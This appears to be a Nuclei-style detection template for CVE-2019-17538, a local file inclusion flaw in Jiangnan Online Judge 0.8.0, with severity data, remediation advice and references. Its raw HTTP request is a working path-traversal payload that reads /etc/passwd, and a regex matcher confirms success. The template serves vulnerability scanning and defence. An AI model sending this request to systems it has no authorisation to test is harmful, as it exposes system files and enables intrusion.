47 lines
1.5 KiB
YAML
47 lines
1.5 KiB
YAML
id: CVE-2019-17538
|
|
|
|
info:
|
|
name: Jiangnan Online Judge 0.8.0 - Local File Inclusion
|
|
author: pussycat0x
|
|
severity: high
|
|
description: |
|
|
Jiangnan Online Judge (aka jnoj) 0.8.0 is susceptible to local file inclusion via web/polygon/problem/viewfile?id=1&name=../.
|
|
remediation: |
|
|
Upgrade Jiangnan Online Judge to a patched version or apply the necessary security patches to fix the Local File Inclusion vulnerability.
|
|
reference:
|
|
- https://github.com/shi-yang/jnoj/issues/53
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-17538
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2019-17538
|
|
cwe-id: CWE-22
|
|
epss-score: 0.00748
|
|
epss-percentile: 0.78928
|
|
cpe: cpe:2.3:a:jnoj:jiangnan_online_judge:0.8.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: jnoj
|
|
product: jiangnan_online_judge
|
|
tags: cve,cve2019,jnoj,lfi
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 490a00463044022013df074a4ff2275dc30eb1a6b4ba1056f2dd9e2554726d6ef1bb95b9f2568ec60220136a4e882768300dfdd9b0ef213b29ae148518458a0f9129a362cf32bf1a3419:922c64590222798bb761d5b6d8e72950
|